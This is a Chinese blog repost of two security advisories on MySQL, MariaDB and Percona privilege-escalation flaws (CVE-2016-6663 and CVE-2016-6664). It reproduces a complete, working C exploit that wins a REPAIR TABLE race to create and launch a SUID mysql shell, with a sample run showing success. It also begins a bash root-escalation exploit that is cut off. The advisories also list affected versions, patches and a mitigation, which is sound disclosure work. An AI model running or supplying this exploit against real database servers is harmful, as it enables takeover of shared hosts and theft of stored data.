您的位置:首页 > 数据库 > MySQL

漏洞播报_MySQL-严重漏洞.再爆MySQL远程ROOT执行和权限提升漏洞?

2016-11-05 12:04 761 查看
简单介绍:
本周,一位名叫Dawid Golunski的波兰***发现了存在于MySQL中的两个漏洞,并公布了针对两个漏洞的PoC:第一个PoC针对的是之前的高危权限提升漏洞,而另一个PoC针对的则是一个新的root权限提升漏洞,利用这个漏洞,***者能够获取到整个数据库的权限.

漏洞概述:
1. 权限提升/竞争条件漏洞(CVE-2016-6663),它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码.
2. Root权限提升(CVE-2016-6664),它可以让拥有MySQL系统用户权限的***者提升权限至root,以便进一步***整个系统,导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限

影响版本:
MySQL版本 < 5.5.51 或 < 5.6.32 或 < 5.7.14 及MySQL衍生版本(Percona Server,MariaDB)

测试代码:
__                     __   __  __           __
/ /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
/ /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  )
/_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/
/____/
<-- BACK TO legalhackers.com =============================================
- Release date: 01.11.2016
- Discovered by: Dawid Golunski
- Severity: Critical
- CVE-2016-6663 / (Oracle) CVE-2016-5616
- http://legalhackers.com =============================================

I. VULNERABILITY
-------------------------

MySQL / MariaDB / PerconaDB - Privilege Escalation / Race Condition

MariaDB
< 5.5.52
< 10.1.18
< 10.0.28

MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14

Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8

Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0

II. BACKGROUND
-------------------------

MySQL:

"MySQL is the world's most popular open source database.
Whether you are a fast growing web property, technology ISV or large
enterprise, MySQL can cost-effectively help you deliver high performance,
scalable database applications."

"Many of the world's largest and fastest-growing organizations including
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time
and money powering their high-volume Web sites, business-critical systems and
packaged software."
 http://www.mysql.com/products/ http://www.mysql.com/why-mysql/

--

MariaDB:

"MariaDB is one of the most popular database servers in the world.
It's made by the original developers of MySQL and guaranteed to stay open source.
Notable users include Wikipedia, WordPress.com and Google.

MariaDB turns data into structured information in a wide array of applications,
ranging from banking to websites. It is an enhanced, drop-in replacement for MySQL.
MariaDB is used because it is fast, scalable and robust, with a rich ecosystem of
storage engines, plugins and many other tools make it very versatile for a wide
variety of use cases."
 https://mariadb.org/about/ 
--

PerconaDB:

"Percona Server for MySQL庐 is a free, fully compatible, enhanced, open source
drop-in replacement for MySQL that provides superior performance, scalability
and instrumentation.
With over 3,000,000 downloads, Percona Server's self-tuning algorithms and support
for extremely high-performance hardware delivers excellent performance and reliability."
 https://www.percona.com/software/mysql-database/percona-server 
III. INTRODUCTION
-------------------------

An independent research has revealed a race condition vulnerability which is
present in MySQl, MariaDB and PerconaDB databases.

The vulnerability can allow a local system user with access to the affected
database in the context of a low-privileged account (CREATE/INSERT/SELECT grants)
to escalate their privileges and execute arbitrary code as the database system
user (typically 'mysql').

Successful exploitation would allow an attacker to gain access to all of the
databases stored on the affected database server.

The obtained level of access upon the exploitation, could be chained with
the other privilege escalation vulnerabilities discovered by the author of
this advisory (CVE-2016-6662 and CVE-2016-6664) to further escalate privileges
from mysql user to root user and thus allow attackers to fully compromise the
target server.

IV. DESCRIPTION
-------------------------

Table locations
~~~~~~~~~~~~~~~~~~

MySQL-based databases allow users with CREATE table privilege to optionally
specify a disk path of the directory where the table will be stored via a DATA
DIRECTORY parameter in the CREATE statement.

Users who have access to a database account with CREATE grant could create a
table under a directory that they can control. For example:

attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

A user could then place a table within the directory with the following SQL
statement:

mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

which would result in creating the following table file:

attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

Race Condition
~~~~~~~~~~~~~~~~~~

Observing file operations performed on the table stored within the directory,
it was discovered that REPAIR TABLE SQL statement which is available to
low-privileged users with SELECT/CREATE/INSERT grants, performed unsafe
operations on temporary files created during the table repair process.

Executing the statement:

mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table          | Op     | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status   | OK       |
+----------------+--------+----------+----------+

would result in execution of the following system calls:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid  1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid  1463] lseek(65, 0, SEEK_CUR)      = 0
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid  1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] lseek(64, 0, SEEK_END)      = 1024
[pid  1463] close(65)                   = 0
[pid  1463] close(66)                   = 0
[pid  1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid  1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid  1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid  1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0

The first call:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

was found to check file permissions of poctab1.MYD table which are then copied with chmod()
to the newly created poctab1.TMD temporary file containing the repaired table.

The code is vulnerable to Race Condition between the call:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

and

[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0

If an attacker managed to unlink the temporary table poctab1.TMD and replace it
with a symlink to /var/lib/mysql before the chmod() operation (i.e. win the race),
they would be able to apply arbitrary permissions on the data directory.
The attacker would be able to control the set of permissions by pre-setting them on
poctab1.MYD file before executing the REPAIR TABLE statement.
For example, by setting the permissions of poctab1.MYD to 777 the data directory
would become readable and writable to the attacker.

Obtaining mysql-suid shell
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Apart from gaining access to arbitrary mysql files, the attacker could also
achieve arbitrary code execution in the context of mysql user (mysql shell).

This could be done by first pre-setting permissions on poctab1.MYD to 04777
(suid), and winning the race so that the permissions get applied on a copy
of a bash shell file through the vulnerable chmod() call effectively creating
a shell that elevates their permissions after execution.

There is only one problem. Their suid shell would remain to be owned by the
attacker's user id and not 'mysql' user.

To elevate their privileges, attacker would need to copy the bash shell to a
mysql-owned table file which are owned by mysql user.  However mysql table
files are not writable by other users making it impossible for attacker to save
the shell.

This could be bypassed if attacker created a specially crafted directory
with a group sticky bit and then created a second table named 'poctab2' as
follows:

attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/

mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)

attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql    0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD

As we can see poctab2.MYD table (thanks to the sticky bit (+s) on the permissions
of the group on disktable directory)  has 'mysql' as the owner but 'attacker'
as the group.
Therefore, the attacker would now be able to copy /bin/bash to poctab2.MYD file
and preserve the file owner.

Finally, they could exploit the Race Condition again and have SUID + exec
permissions applied on poctab2.MYD which would then allow them to execute the suid
shell with elevated privileges of the mysql user.

From mysql to root
~~~~~~~~~~~~~~~~~~~~~~~~

After obtaining a mysql suid shell, attackers could then exploit one of the
other MySQL vulnerabilities discovered by the author of this advisory:

CVE-2016-6662
or
CVE-2016-6664 / (Oracle) CVE-2016-5617

to escalate their privileges from mysql user to root system user.
 https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html 
V. PROOF OF CONCEPT EXPLOIT
-------------------------

------------------[ mysql-privesc-race.c ]--------------------

/*

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / CVE-2016-5616

Discovered/Coded by:

Dawid Golunski
dawid[at]legalhackers.com https://legalhackers.com 
Follow https://twitter.com/dawid_golunski for updates on this advisory.

Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:
* On RedHat-based systems you might need to change /tmp to another public directory (e.g. /uploads)

* For testing purposes only. Do no harm.

Full advisory URL: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
Video PoC: https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html 
*/

#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define EXP_PATH          "/tmp/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL   	  EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary

MYSQL *conn;		  // DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;

void intro() {

printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / CVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");

}

void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {

if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);

}

int main(int argc,char **argv)
{

int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user     = argv[1];
char *password = argv[2];
char *db_host  = argv[3];
char *database = argv[4];

// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);

// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");

// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}

// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );

// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);

// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);

/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

printf("\n[+] Entering the race loop... Hang in there...\n");

while ( is_shell_suid != 1 ) {

cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}

/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );

// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}

/* Child process - executes REPAIR TABLE  SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}

/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;

while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);

// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);

// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}

waitpid(pid, &status, 0);
}

// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}

}

printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);

printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");

/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;

}

------------------[ EOF ]--------------------

Example run:
~~~~~~~~~~~~~~

attacker@xenial:~/mysql-exploit$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.1 LTS
Release:	16.04
Codename:	xenial

attacker@xenial:~/mysql-exploit$ dpkg -l | grep -i mariadb-serv
ii  mariadb-server                     10.0.27-0ubuntu0.16.04.1          all          MariaDB database server (metapackage depending on the latest version)
ii  mariadb-server-10.0                10.0.27-0ubuntu0.16.04.1          amd64        MariaDB database server binaries
ii  mariadb-server-core-10.0           10.0.27-0ubuntu0.16.04.1          amd64        MariaDB database core server files

attacker@xenial:~/mysql-exploit$ id
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

attacker@xenial:~/mysql-exploit$ mysql -uattacker -ppocsql -hlocalhost pocdb -e 'show grants;'
+-----------------------------------------------------------------------------------------------------------------+
| Grants for attacker@localhost                                                                                   |
+-----------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'attacker'@'localhost' IDENTIFIED BY PASSWORD '*3CC3900C7B2B0A885AB128894FC10949340A09CC' |
| GRANT SELECT, INSERT, CREATE, DROP ON `pocdb`.* TO 'attacker'@'localhost'                                       |
+-----------------------------------------------------------------------------------------------------------------+

attacker@xenial:~/mysql-exploit$ ls -l /var/lib/mysql/mysql/user.*
ls: cannot access '/var/lib/mysql/mysql/user.*': Permission denied

attacker@xenial:~/mysql-exploit$ time ./mysql-privesc-race attacker pocsql localhost pocdb

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / CVE-2016-5616

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski http://legalhackers.com 
[+] Starting the exploit as:
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

[+] Connecting to the database `pocdb` as attacker@localhost

[+] Creating exploit temp directory /tmp/mysql_privesc_exploit

[+] Creating mysql tables

DROP TABLE IF EXISTS exploit_table
DROP TABLE IF EXISTS mysql_suid_shell
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'

[+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits :
-rw-rw---- 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Entering the race loop... Hang in there...

[+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell:

-rwsrwxrwx 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Spawning the mysql SUID shell now...
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

mysql_suid_shell.MYD-4.3$ whoami
mysql
mysql_suid_shell.MYD-4.3$ id
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)
mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
-rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
-rw-rw---- 1 mysql mysql  168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
-rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI
mysql_suid_shell.MYD-4.3$ exit
exit

[+] Job done. Exiting

real	0m28.999s
user	0m0.016s
sys	0m0.016s

Video PoC:
~~~~~~~~~~~~ http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html 
VI. BUSINESS IMPACT
-------------------------

Malicious local users with DB access granted a common set of privileges
(SELECT/INSERT/CREATE) could exploit this vulnerability to execute arbitrary
code and escalate their privileges to mysql system user. This would allow them
to gain access to all of the databases stored on the server as well as exploit
CVE-2016-6662 or CVE-2016-6664 vulnerabilities to further elevate privileges
to root system user (rootshell) and fully compromise the target server.

This vulnerability could for example be exploited by malicious users in a shared
hosting environment where each user is supposed to have access to only one
database assigned to them.
It could also be exploited by attackers who have managed to find a vulnerability
in a website and gained access to the target system as a low-privileged user
(such as apache/www-data).

VII. SYSTEMS AFFECTED
-------------------------

MariaDB
< 5.5.52
< 10.1.18
< 10.0.28

MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14

Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8

Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0

VIII. SOLUTION / VENDOR RESPONSE
-------------------------

The race condition vulnerability was reported to Oracle in July 2016
(together with the previously reported critical issue of CVE-2016-6662).

All of the vendors - MariaDB/MySQL/PerconaDB have received a copy of this
advisory in advance which allowed them to produce patches for this
vulnerability before the release of this advisory.

When checking if your system contains the patches, note that this vulnerability
has been known under two CVE IDs:

CVE-2016-6663
CVE-2016-5616 (Oracle)

CVE-2016-6663 is the original CVE that was agreed to be used by all the
affected vendors.
The issue was however mentioned in Oracle CPU mistakenly under a new CVE of
CVE-2016-5616, resulting in a duplicate. Oracle has informed that CPU will be
updated to state that CVE-2016-5616 is equivalent to CVE-2016-6663.

Patches and security releases have been issued by the vendors and can
be found on the official vendor websites (see references below which contain
links to advisories issued by each vendor).

As a temporary mitigation, you can disable symbolic link support in the
database server configuration with the following my.cnf config setting:

symbolic-links = 0

Nevertheless, an update to a patched release is recommended.

IX. REFERENCES
-------------------------
 http://legalhackers.com 
This advisory - CVE-2016-6663 / CVE-2016-5616: http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
Exploit (mysql-privesc-race.c) source code URL: http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c 
Video PoC: http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html 
Advisory for CVE-2016-6664 / CVE-2016-5617: http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html 
Vendor updates and advisories:

Oracle: http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html#AppendixMSQL http://www.mysql.com/

MariaDB: https://mariadb.com/blog/update-security-vulnerabilities-cve-2016-6663-and-cve-2016-6664-related-mariadb-server https://mariadb.org/about/ https://mariadb.com/kb/en/mdb-5552-rn/ https://mariadb.com/kb/en/mdb-10118-rn/ https://mariadb.com/kb/en/mdb-10028-rn/ 
Percona: https://www.percona.com/blog/2016/11/02/percona-responds-to-cve-2016-6663-and-cve-2016-6664/ 
Debian security: https://security-tracker.debian.org/tracker/CVE-2016-6663 
X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
 http://legalhackers.com 
XI. REVISION HISTORY
-------------------------

01.11.2016 - Advisory released
03.11.2016 - Advisory updated with links to advisories provided by the vendors
03.11.2016 - OCVE short changed to (Oracle) CVE in the header

XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information. <-- BACK TO legalhackers.com
__                     __   __  __           __
/ /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
/ /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  )
/_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/
/____/
<-- BACK TO legalhackers.com =============================================
- Release date: 01.11.2016
- Discovered by: Dawid Golunski
- Severity: High/Critical
- CVE-2016-6664 / (Oracle) CVE-2016-5617
- http://legalhackers.com =============================================

I. VULNERABILITY
-------------------------

MySQL / MariaDB / PerconaDB   -   Root Privilege Escalation

MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14

MariaDB
All current

Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8

Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0

II. BACKGROUND
-------------------------

MySQL:

"MySQL is the world's most popular open source database.
Whether you are a fast growing web property, technology ISV or large
enterprise, MySQL can cost-effectively help you deliver high performance,
scalable database applications."

"Many of the world's largest and fastest-growing organizations including
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time
and money powering their high-volume Web sites, business-critical systems and
packaged software."
 http://www.mysql.com/products/ http://www.mysql.com/why-mysql/

--

MariaDB:

"MariaDB is one of the most popular database servers in the world.
It's made by the original developers of MySQL and guaranteed to stay open source.
Notable users include Wikipedia, WordPress.com and Google.

MariaDB turns data into structured information in a wide array of applications,
ranging from banking to websites. It is an enhanced, drop-in replacement for MySQL.
MariaDB is used because it is fast, scalable and robust, with a rich ecosystem of
storage engines, plugins and many other tools make it very versatile for a wide
variety of use cases."
 https://mariadb.org/about/ 
--

PerconaDB:

"Percona Server for MySQL is a free, fully compatible, enhanced, open source
drop-in replacement for MySQL that provides superior performance, scalability
and instrumentation.
With over 3,000,000 downloads, Percona Server's self-tuning algorithms and support
for extremely high-performance hardware delivers excellent performance and reliability."
 https://www.percona.com/software/mysql-database/percona-server 
III. INTRODUCTION
-------------------------

MySQL-based databases including MySQL, MariaDB and PerconaDB are affected
by a privilege escalation vulnerability which can let attackers who have
gained access to mysql system user to further escalate their privileges
to root user allowing them to fully compromise the system.
The vulnerability stems from unsafe file handling of error logs and
other files.

IV. DESCRIPTION
-------------------------

The error.log file on most default installations of MySQL/PerconaDB/MariaDB
databases is stored either in /var/log/mysql or /var/lib/mysql directory.

The permissions on the file and directory look as follows:

root@trusty:/var/lib/mysql# ls -la /var/log/mysql
total 468
drwxr-s---  2 mysql adm      4096 Sep 11 06:25 .
drwxrwxr-x 36 root  syslog   4096 Sep 11 06:25 ..
-rw-r-----  1 mysql adm         0 Sep 11 06:25 error.log

root@trusty:/var/lib/mysql# ls -lad /var/log/mysql
drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 /var/log/mysql

mysqld_safe wrapper that is normally used for starting MySQL daemon and
creating/reopening the error.log performs certain unsafe file operations that
may allow attackers to gain root privileges.

The wrapper script contains a 'while' loop shown below which monitors the mysqld
process and performs a restart in case of the process failure.
The restart involves re-creation of the error.log file if syslog logging has
not been configured instead of error log files (file-based logging is the
default setting on most installations).

--------[ mysqld_safe ]--------
[...]

while true
do
rm -f "$pid_file"     # Some extra safety

start_time=`date +%M%S`

eval_log_error "$cmd"

if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
touch "$err_log"                    # hypothetical: log was renamed but not
chown $user "$err_log"              # flushed yet. we'd recreate it with
chmod "$fmode" "$err_log"           # wrong owner next time we log, so set
fi                                    # it up correctly while we can!

[...]

-------------------------------

As can be seen, the error.log file is created (touch) and chowned to the user
running the mysqld daemon (typically 'mysql').

The operation is vulnerable to a symlink attack.

Attackers who obtained access to mysql account, through CVE-2016-6663
vulnerability described at:
 http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html 
would gain access to /var/log or /var/lib/mysql directories (owned by mysql user)
and could therefore easily remove the error.log file and replace it
with a symlink to an arbitrary system file and escalate privileges.

The privilege escalation could be triggered instantly (without the need to wait
for mysql service restart/reboot) by attackers having 'mysql' account by simply
killing the mysqld child process (launched by the mysqld_safe wrapper).

When the mysqld process gets terminated, the wrapper will then re-itertate the
loop shown above and immediately create a mysql-owned file in the location
specified by the attacker in the symlink thus allowing attackers to quickly
escalate their privileges.

V. PROOF OF CONCEPT EXPLOIT
-------------------------

-------[ mysql-chowned.sh ]------

#!/bin/bash -p
#
# MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.1)
#
# CVE-2016-6664 / CVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com #
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / CVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html #
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html #
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
